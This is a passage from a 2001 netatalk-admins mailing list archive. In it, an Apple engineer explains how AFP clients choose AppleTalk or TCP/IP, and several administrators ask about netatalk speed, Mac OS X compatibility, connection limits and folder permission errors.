	by scv2.apple.com (8.11.3/8.11.3) with ESMTP id f85MP8w24245;
	Wed, 5 Sep 2001 15:25:08 -0700 (PDT)
Date: Wed, 5 Sep 2001 15:25:08 -0700
Subject: Re: Thank you.
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v468)
Cc: Leland Wallace <randall@apple.com>,
        "Seitz, Matt" <mseitz@snapappliances.com>, netatalk-admins@umich.edu
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
From: Leland Wallace <randall@apple.com>
In-Reply-To: <B7BC6981.10B6F%Thomas.Kaiser@phg-online.de>
Message-Id: <DCCD2609-A24C-11D5-9C22-000A279495A2@apple.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.468)


On Wednesday, September 5, 2001, at 02:46 PM, Thomas Kaiser wrote:

> On Wed, 5 Sep 2001 12:41:48 -0700, Seitz, Matt wrote:
>
>> The client then sends an AppleTalk Filing Protocol (AFP) command on 
>> AppleTalk
>> to the server, asking for the server's IP address.
>
> Can you explain this a bit please? Using AFP 2.1/2.2, I thought that the
> afp-client sends out a FPGetSrvrInfo request. The afp-server answers a 
> lot
> of stuff (its name, the uams it supports, etc. and finally a list of
> connection methods the servers supports).
>
> Each entry in this list will include
>
> - AFP over AppleTalk or TCP
> - address type (ip address + port or FQDN + port or AppleTalk address)
> - the real address depending on the address type above
>
> So the afp server provides _every_ connection method it has been 
> configured
> to publish.
Correct.

>
>> If the server responds with an IP address, then the client 
>> establishes a
>> connection to the server using AFP on DSI/TCP/IP.
>
> I thought that this is the afp-clients decision if the afp connection 
> can be
> established by more than one method?
yes
>
> AppleShare clients prior to AFAIR 3.7.4 prefer AFP over AppleTalk (even 
> if
> the server says, that it can also 'speak' AFP over TCP). Recent 
> versions do
> the opposite. It also depends on whether you hold down the [option] key 
> or
> not to force the non-default behaviour.
AppleShare Clients prior to 3.7 could only do AppleTalk
Client 3.7 and later would try to switch to AFP over TCP/IP if the 
server supported it.
There was a bit of a problem in the 3.8 & 3.8.1 clients where alias 
connections wound
up degrading to AppleTalk (long story)
>
> If the AppleShare clients wants to connect via AFP over TCP then it 
> will try
> to ping the servers ip address before trying to establish a connection 
> on
> the afp port. If ICMP is filtered between client and server the client 
> will
> never attempt to use AFP over TCP and will instantly try to use AFP over
> AppleTalk (but you can disable the 'Verify IP address' feature using 
> Apple's
> 'AppleShare Client Setup' utility)
correct
>
> If the client can ping the server it will try to connect to the afp 
> port on
> that server. It will try this until the default timeout will be reached 
> (you
> can edit this value also using Apple's utility) and will do a fallback 
> to
> AFP over AppleTalk afterwards.
correct.

>
>> [...]
>>> OS X 10.0 Connect To Server:
>>
>> Protocols:
>> TCP/IP, Service Location Protocol, Data Stream Interface (DSI), 
>> AppleTalk
>> Filing Protocol (AFP)
>
> MacOS X 10.0 speaks AFP 3.0. And this version only supports AFP over 
> TCP.
> No support for AppleTalk any longer (please note also: the definition 
> of AFP
> has changed --> these days it should be spoken as 'Apple Filing 
> Protocol' to
> avoid confusion with 'AppleTalk')                  ^^^^^
Mac OS X 10.0 speaks AFP 3.0, AFP 2.3, AFP 2.2, and AFP 2.1 all over 
TCP/IP
AFP 3.0 is limited to TCP/IP only (255 char unicode names are just too 
big for
the AppleTalk packet size).

>
> MacOS X 10.1 will speak AFP 2.2 too, so connections can be established 
> also
> via AppleTalk.
>
Mac OS X 10.1 will support connections over AppleTalk for AFP 2.3, AFP 
2.2,
and AFP 2.1.

>
> Maybe I'm completely wrong. Any input greatly appreciated.
>
> Regards,
>
> Thomas
>
>
>
Hope this helps
Leland Wallace
AppleShare Client Lead

+-----------------------------------------------------------------------------------
Leland Wallace           Working in            AppleShare Engineering
randall@apple.com    but not speaking for      Apple Computer Inc.
http://www2.inow.com/~randall
+-----------------------------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Thu Sep  6 00:51:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA02585
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Sep 2001 00:51:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA27238
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Sep 2001 00:51:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA27234
	for netatalk.administrators-members@umich.edu; Thu, 6 Sep 2001 00:51:06 -0400 (EDT)
Received: from gator.gasd.k12.pa.us ([192.204.255.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA27221
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 00:51:05 -0400 (EDT)
Received: from gator.gasd.k12.pa.us (dap-209-166-135-224.nfas.greensburg-tnt-1.sns234.pa.stargate.net [209.166.135.224])
	by gator.gasd.k12.pa.us (8.10.2/8.10.2) with ESMTP id f864rVC13547
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 00:53:31 -0400
Message-ID: <3B970188.328C9263@gator.gasd.k12.pa.us>
Date: Thu, 06 Sep 2001 00:54:32 -0400
From: Jesse Smillie <jsmillie@gator.gasd.k12.pa.us>
X-Mailer: Mozilla 4.77 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: NetaTALK mailing list <netatalk-admins@umich.edu>
Subject: NetaTALK problems with speed
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi, I'm new to the list and I bet this is a common question asked, but
what I'm trying to do is replace our current Netware 5 server in one of
the school district that I work for computer labs.  I am trying to use
Slackware 7.1 with NetaTALK 1.4 which the server set up easily and after
some doc reading I got the NetaTALK setup with out too much of a hassil,
but the problem I have run into is that the server is very slow serving
up the apple files!  I can login VIA the chooser real quick and get the
volumes mounted, but apps don't work too well.   We have this program
called Scholastic Reading Counts in which the database has to be held on
a server.  When I set the clients to go to the new Linux server, they
load, and when they go for the information on the server the NIC cards
activity light blinks and then goes completely solid, yet its not coming
up that quick.  I'm using a 3com 905-TX in this machine in which I have
used 2 other ones in my main Slackware server which runs the e-mail and
web for the whole district without a problem.  In fact most of the time
with an FTP program I can get up to 1Meg/sec DL up at the high  school
from this server.  Thats why I can't understand why with the new machine
I build for the elementary building I am getting such slow feeds.
Anyone have any ideas?  Thanks in advance for the help..

-Jesse Smillie


From netatalk.administrators-errors@umich.edu  Thu Sep  6 10:03:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA18775
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Sep 2001 10:03:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA13023
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Sep 2001 10:03:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA13010
	for netatalk.administrators-members@umich.edu; Thu, 6 Sep 2001 10:03:06 -0400 (EDT)
Received: from red.csi.cam.ac.uk (red.csi.cam.ac.uk [131.111.8.70])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA12983
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 10:03:05 -0400 (EDT)
Received: from ih207 (helo=localhost)
	by red.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1)
	id 15ezkG-0005wF-00
	for netatalk-admins@umich.edu; Thu, 06 Sep 2001 15:03:04 +0100
Date: Thu, 6 Sep 2001 15:03:04 +0100 (BST)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-X-Sender:  <ih207@red.csi.cam.ac.uk>
To: <netatalk-admins@umich.edu>
Subject: Can I use netatalk with OSX?
Message-ID: <Pine.SOL.4.33.0109061436240.28469-100000@red.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Dear netatalk,

Is there a version of netatalk that works with OSX. The best I can manage
is a 1.5-pre-7 con-fig that gives me an error "The operation cannot be
completed...required items could not be found. (Error code -43) on a file
download.

All the best,

Ian.





From netatalk.administrators-errors@umich.edu  Thu Sep  6 11:16:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA22222
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Sep 2001 11:16:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA22542
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Sep 2001 11:16:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA22528
	for netatalk.administrators-members@umich.edu; Thu, 6 Sep 2001 11:16:33 -0400 (EDT)
Received: from clavin2.unet.brandeis.edu (clavin2.unet.brandeis.edu [129.64.99.33])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA22394
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 11:16:26 -0400 (EDT)
Received: from squirrel.bio.brandeis.edu (squirrel.bio.brandeis.edu [129.64.81.16])
	by clavin2.unet.brandeis.edu (8.9.3/8.9.3/UNet2.2) with ESMTP id LAA08492;
	Thu, 6 Sep 2001 11:16:20 -0400
Date: Thu, 6 Sep 2001 11:16:20 -0400 (EDT)
From: Steven Karel <karelsf@brandeis.edu>
X-X-Sender:  <karelsf@squirrel.bio.brandeis.edu>
To: Ian Hitchman <ih207@hermes.cam.ac.uk>
cc: <netatalk-admins@umich.edu>
Subject: Re: Can I use netatalk with OSX?
In-Reply-To: <Pine.SOL.4.33.0109061436240.28469-100000@red.csi.cam.ac.uk>
Message-ID: <Pine.LNX.4.33.0109061113400.743-100000@squirrel.bio.brandeis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

1.5pre7 worked for me configuring either with

 --prefix=/usr/local/atalk --enable-redhat --with-tcp-wrappers
--with-flock-locks --with-shadow --with-did=last

or

 --prefix=/usr/local/atalk --enable-redhat --with-tcp-wrappers
--with-flock-locks --with-shadow --enable-cnid-db

(the latter gave fewer errors in transferring large numbers of files, but
is "experimental").

If you that doesn't help, please post more details of your server OS and
configuration...

steven

On Thu, 6 Sep 2001, Ian
Hitchman wrote:

> Dear netatalk,
>
> Is there a version of netatalk that works with OSX. The best I can manage
> is a 1.5-pre-7 con-fig that gives me an error "The operation cannot be
> completed...required items could not be found. (Error code -43) on a file
> download.
>
> All the best,
>
> Ian.
>
>
>
>

-- 
Steven Karel, Ph.D.
Biology Department, Brandeis Univ, MS 008
415 South St Waltham MA 02454-9110
TEL 781 736 3104   FAX 781 736 3107


From netatalk.administrators-errors@umich.edu  Thu Sep  6 11:57:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24158
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Sep 2001 11:57:47 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA00361
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Sep 2001 11:57:47 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA00344
	for netatalk.administrators-members@umich.edu; Thu, 6 Sep 2001 11:57:46 -0400 (EDT)
Received: from netpilotbr.broadley.hopkins.co.uk (mail.hopkins.co.uk [62.189.170.1])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA00302
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 11:57:45 -0400 (EDT)
Received: from mhp_nt1.hopkins.co.uk (unknown [194.159.148.6])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP id ECE061A003
	for <netatalk-admins@umich.edu>; Thu,  6 Sep 2001 16:52:30 +0100 (BST)
Received: from 194.159.148.247 (no-dns-yet.demon.co.uk [194.159.148.247]) by mhp_nt1.hopkins.co.uk with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id Q48463NQ; Thu, 6 Sep 2001 16:56:32 +0100
Date: Thu,  6 Sep 2001 16:57:15 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Re: Can I use netatalk with OSX?
To: netatalk-admins@umich.edu
X-Priority: 3
In-Reply-To: <Pine.LNX.4.33.0109061113400.743-100000@squirrel.bio.brandeis.edu>
Message-ID: <20010906165723-r01010600-b6d0b0cb@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
Sender: campbell-lange@mail.campbell-lange.net

I'm running netatalk (1.5pre6) on Debian 2.2. Sometimes my users get an
error "an appleshare system error occured" when trying to connect to the
server, with a log message that there are too many connections.

I have set AFPD_MAX_CLIENTS=300 in netatalk.conf. I typically have 50
server connections.

Thanks for any help.
Rory

From netatalk.administrators-errors@umich.edu  Thu Sep  6 17:04:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA09563
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Sep 2001 17:04:46 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA22237
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Sep 2001 17:04:46 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA22234
	for netatalk.administrators-members@umich.edu; Thu, 6 Sep 2001 17:04:46 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA22230
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 17:04:45 -0400 (EDT)
Received: by smtpout.mac.com; Thu, 6 Sep 2001 14:03:16 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GJ9EHG00.2K5 for
          <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 14:03:16 -0700 
Received: from [10.0.0.4] ([62.175.33.66]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48)
          with ESMTP id GJ9EHF00.JI1 for <netatalk-admins@umich.edu>; Thu,
          6 Sep 2001 14:03:15 -0700 
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 06 Sep 2001 23:03:09 +0200
Subject: Permissions problems again...
From: Jason Quigley <jasonq@mac.com>
To: Netatalk Admins <netatalk-admins@umich.edu>
Message-ID: <B7BDB12D.445%jasonq@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi!

Does anybody know of a workaround for this:

Sep  6 22:40:21 vulcan afpd[2828]: stickydirmode: chmod
".AppleDouble/.Parent": Operation not permitted
Sep  6 22:40:21 vulcan afpd[2828]: stickydirmode: chmod ".AppleDouble":
Operation not permitted
Sep  6 22:40:38 vulcan afpd[2828]: stickydirmode: chmod
".AppleDouble/.Parent": Operation not permitted
Sep  6 22:40:38 vulcan afpd[2828]: stickydirmode: chmod ".AppleDouble":
Operation not permitted
Sep  6 22:49:40 vulcan afpd[2828]: stickydirmode: chmod
".AppleDouble/.Parent": Operation not permitted
Sep  6 22:49:40 vulcan afpd[2828]: stickydirmode: chmod ".AppleDouble":
Operation not permitted


I am using 1.5pre6 on FreeBSD 4.2?

Whenever a new folder is created on a share, I get a message saying that the
folder could not be created because I have insufficient privileges. The
folder is created anyway but when I look at it from a terminal I see that
the setgid bit is not set. Even if I run netatalk as setuid root, this
problem occurs. 

I vaguely remember somebody mentioning a fix for this (or a workaround) a
long long time ago.

I'm at the point of writing a cron job that fixes up the permissions but
this is a nasty hack which won't fix this particular problem - it'll keep
all the permissions nice and tidy, though.

Please help my failing memory! :-)

Jason.


From netatalk.administrators-errors@umich.edu  Thu Sep  6 17:40:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA12460
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Sep 2001 17:40:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA23989
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Sep 2001 17:40:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA23967
	for netatalk.administrators-members@umich.edu; Thu, 6 Sep 2001 17:40:14 -0400 (EDT)
Received: from sidebysite.de (sidebysite.de [213.198.63.70])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA23929
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 17:40:13 -0400 (EDT)
Received: from [192.168.42.13] (dial-195-14-244-117.netcologne.de [195.14.244.117]) by sidebysite.de (8.11.2) id f86LdvQ47118 for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 15:39:58 -0600 (MDT)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 06 Sep 2001 23:40:01 +0200
Subject: Re: [netatalk]=?ISO-8859-1?B?oA==?=Permissions problems again...
From: Benjamin Boksa <b.boksa@sidebysite.de>
To: Netatalk <netatalk-admins@umich.edu>
Message-ID: <B7BDB9D1.6A41%b.boksa@sidebysite.de>
In-Reply-To: <B7BDB12D.445%jasonq@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I have a vague memory as well...

I think it had something to do with the rights of the parent folder.

Sorry I can't help you more, but there might be some infomration in the mail
archive...

Regards,

Benne


> Hi!
> 
> Does anybody know of a workaround for this:
> 
> Sep  6 22:40:21 vulcan afpd[2828]: stickydirmode: chmod
> ".AppleDouble/.Parent": Operation not permitted
> Sep  6 22:40:21 vulcan afpd[2828]: stickydirmode: chmod ".AppleDouble":
> Operation not permitted
> Sep  6 22:40:38 vulcan afpd[2828]: stickydirmode: chmod
> ".AppleDouble/.Parent": Operation not permitted
> Sep  6 22:40:38 vulcan afpd[2828]: stickydirmode: chmod ".AppleDouble":
> Operation not permitted
> Sep  6 22:49:40 vulcan afpd[2828]: stickydirmode: chmod
> ".AppleDouble/.Parent": Operation not permitted
> Sep  6 22:49:40 vulcan afpd[2828]: stickydirmode: chmod ".AppleDouble":
> Operation not permitted
> 
> 
> I am using 1.5pre6 on FreeBSD 4.2?
> 
> Whenever a new folder is created on a share, I get a message saying that the
> folder could not be created because I have insufficient privileges. The
> folder is created anyway but when I look at it from a terminal I see that
> the setgid bit is not set. Even if I run netatalk as setuid root, this
> problem occurs. 
> 
> I vaguely remember somebody mentioning a fix for this (or a workaround) a
> long long time ago.
> 
> I'm at the point of writing a cron job that fixes up the permissions but
> this is a nasty hack which won't fix this particular problem - it'll keep
> all the permissions nice and tidy, though.
> 
> Please help my failing memory! :-)
> 
> Jason.
> 
> 



-- 
Benjamin Boksa
b.boksa@sidebysite.de

side by site GmbH & Co. KG
Druckgestaltung & Webdesign

Barbarastr. 3-9 (Block 6)
D-50735 Koeln

Telefon: +49 221 2790964
Telefax: +49 221 2790965

http://www.sidebysite.de/


From netatalk.administrators-errors@umich.edu  Thu Sep  6 18:59:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA17426
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Sep 2001 18:59:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA13468
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Sep 2001 18:59:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA13459
	for netatalk.administrators-members@umich.edu; Thu, 6 Sep 2001 18:59:42 -0400 (EDT)
Received: from post2.inre.asu.edu (post2.inre.asu.edu [129.219.110.73])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA13434
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 18:59:41 -0400 (EDT)
Received: from conversion.post2.inre.asu.edu by asu.edu (PMDF V6.0-24 #47347)
 id <0GJ900D01JVC3C@asu.edu> for netatalk-admins@umich.edu; Thu,
 06 Sep 2001 15:59:36 -0700 (MST)
Received: from smtp.asu.edu (smtp.asu.edu [129.219.13.92])
 by asu.edu (PMDF V6.0-24 #47347) with ESMTP id <0GJ900C9RJVBJW@asu.edu> for
 netatalk-admins@umich.edu; Thu, 06 Sep 2001 15:59:35 -0700 (MST)
Received: from east.la.asu.edu (east.la.asu.edu [129.219.48.26])
	by smtp.asu.edu (8.9.3/8.9.3) with ESMTP id PAA23617	for
 <netatalk-admins@umich.edu>; Thu, 06 Sep 2001 15:59:37 -0700 (MST)
Received: (from emaple@localhost)	by east.la.asu.edu (8.9.3+Sun/8.9.1)
 id PAA15123	for netatalk-admins@umich.edu; Thu,
 06 Sep 2001 15:59:35 -0700 (MST)
Date: Thu, 06 Sep 2001 15:59:35 -0700 (MST)
From: Ed Maple <emaple@asu.edu>
Subject: I can see zones but not shares
To: netatalk-admins@umich.edu
Message-id: <200109062259.PAA15123@east.la.asu.edu>
X-Sun-Charset: US-ASCII

Greetings all. Running netatalk on a Sun/Solaris 8 system which is serving as a 
router. From my Mac sitting behind this router I can see the list of zones in my
chooser, but no printers or shares in those zones except in my local zone. On
the other hand, I can run ndplkup on the router and pull up a list of
workstations in another zone. Any idea why I can't see those in my chooser?

sys config:
* Solaris 8, core install only.
* Running netatalk 
* Not running afpd or papd, only atalkd.
* External interface gets appletalk network info off of the existing appletalk
  network.
* Internal interface configured with -seed.

Thanks for your help.

Ed Maple

From netatalk.administrators-errors@umich.edu  Thu Sep  6 19:04:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA17616
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Sep 2001 19:04:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA12191
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Sep 2001 19:04:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA12183
	for netatalk.administrators-members@umich.edu; Thu, 6 Sep 2001 19:04:52 -0400 (EDT)
Received: from mail.virginia.edu (mail.Virginia.EDU [128.143.2.9])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id TAA12161
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 19:04:51 -0400 (EDT)
Received: from neon.mail.virginia.edu by mail.virginia.edu id aa14242;
          6 Sep 2001 19:04 EDT
Received: from virginia.edu (yammer.music.Virginia.EDU [128.143.140.30])
	by neon.mail.Virginia.EDU (8.9.3/8.9.3) with ESMTP id TAA01664
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 19:04:46 -0400 (EDT)
Sender: djt7p@cms.mail.virginia.edu
Message-ID: <3B980FF8.9502B663@virginia.edu>
Date: Thu, 06 Sep 2001 20:08:24 -0400
From: "David J. Topper" <topper@virginia.edu>
Organization: UVA - VCCM
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Connection timeouts?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi folks,

Got 1.4b2+asun2.1.3 running pretty well.  I also have TCP wrappers setup
and they seem to be working.  I'm noticing something strange though.  On
Macs with dynamic IP, the connection seems to time out after a few
minutes.  This does not seem to be the case on Macs with dynamic IPs.

Anyone have an idea of what might be going on?

Thanks,

DT
--
Technical Director, Virginia Center for Computer Music
http://www.people.virginia.edu/~djt7p
(804) 924-7355

From netatalk.administrators-errors@umich.edu  Thu Sep  6 20:00:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA19734
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Sep 2001 20:00:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA11111
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Sep 2001 20:00:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA11100
	for netatalk.administrators-members@umich.edu; Thu, 6 Sep 2001 20:00:30 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA11070
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 20:00:29 -0400 (EDT)
Received: by smtpout.mac.com; Thu, 6 Sep 2001 16:59:29 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GJ9MN400.I05 for
          <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 16:59:28 -0700 
Received: from [10.0.0.4] ([62.175.33.66]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48)
          with ESMTP id GJ9MN300.2JN; Thu, 6 Sep 2001 16:59:27 -0700 
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Fri, 07 Sep 2001 01:59:24 +0200
Subject: Re: Connection timeouts?
From: Jason Quigley <jasonq@mac.com>
To: "David J. Topper" <topper@virginia.edu>,
        Netatalk Admins <netatalk-admins@umich.edu>
Message-ID: <B7BDDA7C.46C%jasonq@mac.com>
In-Reply-To: <3B980FF8.9502B663@virginia.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi David!

You might want to clarify a little - the fact that it does AND does not seem
to be the case on Macs with dynamic IPs is a little to surreal even for me!
;-)

Cheers,
Jason.

On 9/7/01 2:08 AM, "David J. Topper" <topper@virginia.edu> wrote:

> Hi folks,
> 
> Got 1.4b2+asun2.1.3 running pretty well.  I also have TCP wrappers setup
> and they seem to be working.  I'm noticing something strange though.  On
> Macs with dynamic IP, the connection seems to time out after a few
> minutes.  This does not seem to be the case on Macs with dynamic IPs.
> 
> Anyone have an idea of what might be going on?
> 
> Thanks,
> 
> DT
> --
> Technical Director, Virginia Center for Computer Music
> http://www.people.virginia.edu/~djt7p
> (804) 924-7355
> 
> 


From netatalk.administrators-errors@umich.edu  Thu Sep  6 20:35:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA21248
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Sep 2001 20:35:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA23826
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Sep 2001 20:35:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA23822
	for netatalk.administrators-members@umich.edu; Thu, 6 Sep 2001 20:35:05 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA23796
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 20:35:03 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
